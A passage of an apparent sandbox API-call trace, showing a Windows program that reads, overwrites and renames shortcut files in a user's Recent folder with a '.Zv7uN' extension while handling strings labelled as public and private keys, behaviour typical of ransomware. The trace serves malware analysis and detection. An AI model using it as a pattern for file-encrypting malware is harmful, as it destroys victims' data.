lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0081.959] GetCurrentThreadId () returned 0xa30 [0081.959] GetCurrentThreadId () returned 0xa30 [0081.959] GetCurrentThreadId () returned 0xa30 [0081.959] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ltiqqiyzz50.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ltiqqiyzz50.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0081.959] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0081.959] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0081.959] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x3f7 [0081.959] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0081.959] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x3f7, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x3f7, lpOverlapped=0x0) returned 1 [0081.961] CloseHandle (hObject=0x124) returned 1 [0081.961] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ltiqqiyzz50.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ltiqqiyzz50.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0081.963] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x3f7, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x3f7, lpOverlapped=0x0) returned 1 [0081.964] CloseHandle (hObject=0x124) returned 1 [0081.965] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ltiqqiyzz50.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ltiqqiyzz50.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ltiqqiyzz50.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ltiqqiyzz50.lnk.zv7un")) returned 1 [0081.966] GetCurrentThreadId () returned 0xa30 [0081.966] GetCurrentThreadId () returned 0xa30 [0081.966] GetCurrentThreadId () returned 0xa30 [0081.967] GetCurrentThreadId () returned 0xa30 [0081.967] GetCurrentThreadId () returned 0xa30 [0081.967] GetCurrentThreadId () returned 0xa30 [0081.967] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1c59b00, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0x3d417440, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d417440, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x1360, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="m-XSe-Rm7qDih2.lnk", cAlternateFileName="M-XSE-~1.LNK")) returned 1 [0081.967] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0081.967] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0081.967] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\m-XSe-Rm7qDih2.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\m-xse-rm7qdih2.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1c59b00, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0x3d417440, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d417440, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x1360)) returned 1 [0081.967] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\m-XSe-Rm7qDih2.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\m-xse-rm7qdih2.lnk")) returned 0x20 [0081.967] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\m-XSe-Rm7qDih2.lnk", dwFileAttributes=0x80) returned 1 [0081.969] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0081.969] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0081.971] GetCurrentThreadId () returned 0xa30 [0081.971] GetCurrentThreadId () returned 0xa30 [0081.971] GetCurrentThreadId () returned 0xa30 [0081.971] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0081.972] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0081.972] GetCurrentThreadId () returned 0xa30 [0081.972] GetCurrentThreadId () returned 0xa30 [0081.972] GetCurrentThreadId () returned 0xa30 [0081.972] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\m-XSe-Rm7qDih2.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\m-xse-rm7qdih2.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0081.972] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0081.972] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0081.973] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x1360 [0081.973] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0081.973] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x1360, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x1360, lpOverlapped=0x0) returned 1 [0081.974] CloseHandle (hObject=0x124) returned 1 [0081.975] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\m-XSe-Rm7qDih2.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\m-xse-rm7qdih2.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0081.976] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x1360, lpOverlapped=0x0) returned 1 [0081.978] CloseHandle (hObject=0x124) returned 1 [0081.979] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\m-XSe-Rm7qDih2.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\m-xse-rm7qdih2.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\m-XSe-Rm7qDih2.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js 